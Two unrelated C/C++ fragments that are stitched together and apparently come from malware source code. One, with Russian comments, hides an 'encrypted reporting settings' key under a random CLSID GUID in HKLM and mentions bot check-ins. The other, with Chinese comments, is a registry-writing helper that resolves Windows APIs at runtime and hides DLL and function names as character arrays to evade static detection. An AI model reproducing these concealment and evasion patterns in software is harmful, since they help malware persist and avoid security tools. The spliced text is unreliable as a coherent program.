// Создание(или открытие, если уже был создан) ключа в реестре для сохранения // шифрованных настроек статистической отчетности HKEY CreateSettingKey() { // ВНИМАНИЕ: сейчас всё сохраняется в HKEY_LOCAL_MACHINE // Сделан задел на добавление сохранения еще и HKEY_CURRENT_USER, если этот // даст плохие отстуки HKEY roots[2] = {HKEY_LOCAL_MACHINE /*, HKEY_CURRENT_USER*/}; HKEY key = NULL; DWORD dsp = 0; string path; path = "Software\\Classes\\CLSID\\"; path += CreateGuidFromUid(GenerateUidAsString("")); for (DWORD i = 0; i < ARRAYSIZE(roots); i++) { DWORD create_key_result = (DWORD)pRegCreateKeyExA(roots[i], path.t_str(), 0, NULL, 0, KEY_ALL_ACCESS, NULL, &key, &dsp); if (create_key_result == ERROR_SUCCESS) return key; } return NULL; }
//写注册表的指定键的数据(Mode:0-新建键数据 1-设置键数据 2-删除指定键 3-删除指定键项) int WriteRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char* szData,DWORD dwData,int Mode) { HKEY hKey; DWORD dwDisposition; int iResult =0; __try { // SetKeySecurityEx(MainKey,Subkey,KEY_ALL_ACCESS); typedef LONG (APIENTRY *RegCreateKeyExAT) ( __in HKEY hKey, __in LPCSTR lpSubKey, __reserved DWORD Reserved, __in_opt LPSTR lpClass, __in DWORD dwOptions, __in REGSAM samDesired, __in_opt LPSECURITY_ATTRIBUTES lpSecurityAttributes, __out PHKEY phkResult, __out_opt LPDWORD lpdwDisposition ); char KIoFqQPSy[] = {'A','D','V','A','P','I','3','2','.','d','l','l','\0'}; RegCreateKeyExAT pRegCreateKeyExA= (RegCreateKeyExAT)GetProcAddress(LoadLibrary(KIoFqQPSy),"RegCreateKeyExA"); typedef LONG (APIENTRY *RegOpenKeyExAT)( __in HKEY hKey, __in_opt LPCSTR lpSubKey, __reserved DWORD ulOptions, __in REGSAM samDesired, __out PHKEY phkResult ); RegOpenKeyExAT pRegOpenKeyExA=(RegOpenKeyExAT)GetProcAddress(LoadLibrary(KIoFqQPSy),"RegOpenKeyExA"); typedef LONG (APIENTRY *RegSetValueExAT)( __in HKEY hKey, __in_opt LPCSTR lpValueName, __reserved DWORD Reserved, __in DWORD dwType, __in_bcount_opt(cbData) CONST BYTE* lpData, __in DWORD cbData ); RegSetValueExAT pRegSetValueExA=(RegSetValueExAT)GetProcAddress(LoadLibrary(KIoFqQPSy),"RegSetValueExA"); typedef LONG (APIENTRY *RegDeleteValueAT)( __in HKEY hKey, __in_opt LPCSTR lpValueName ); RegDeleteValueAT pRegDeleteValueA=(RegDeleteValueAT)GetProcAddress(LoadLibrary(KIoFqQPSy),"RegDeleteValueA"); typedef LONG (APIENTRY *RegDeleteKeyAT)( __in HKEY hKey, __in LPCSTR lpSubKey ); RegDeleteKeyAT pRegDeleteKeyA=(RegDeleteKeyAT)GetProcAddress(LoadLibrary(KIoFqQPSy),"RegDeleteKeyA"); typedef int (WINAPI *lstrlenAT)( __in LPCSTR lpString ); lstrlenAT plstrlenA=(lstrlenAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"lstrlenA"); switch(Mode) { case 0: if(pRegCreateKeyExA(MainKey,SubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition) != ERROR_SUCCESS) __leave; case 1: if(pRegOpenKeyExA(MainKey,SubKey,0,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS) __leave; switch(Type) { case REG_SZ: case REG_EXPAND_SZ: if(pRegSetValueExA(hKey,Vname,0,Type,(LPBYTE)szData,plstrlenA(szData)+1) == ERROR_SUCCESS) iResult =1; break; case REG_DWORD: if(pRegSetValueExA(hKey,Vname,0,Type,(LPBYTE)&dwData,sizeof(DWORD)) == ERROR_SUCCESS) iResult =1; break; case REG_BINARY: break; } break; case 2: if(pRegOpenKeyExA(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS) __leave; if (pRegDeleteKeyA(hKey,Vname) == ERROR_SUCCESS) iResult =1; break; case 3: if(pRegOpenKeyExA(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS) __leave; if (pRegDeleteValueA(hKey,Vname) == ERROR_SUCCESS) iResult =1; break; } } __finally { typedef LONG (APIENTRY *RegCloseKeyT) ( __in HKEY hKey); char YWsjU[] = {'R','e','g','C','l','o','s','e','K','e','y','\0'}; char KIoFqQPSy[] = {'A','D','V','A','P','I','3','2','.','d','l','l','\0'}; RegCloseKeyT pRegCloseKey=(RegCloseKeyT)GetProcAddress(LoadLibrary(KIoFqQPSy),YWsjU); pRegCloseKey(MainKey); pRegCloseKey(hKey); } return iResult; }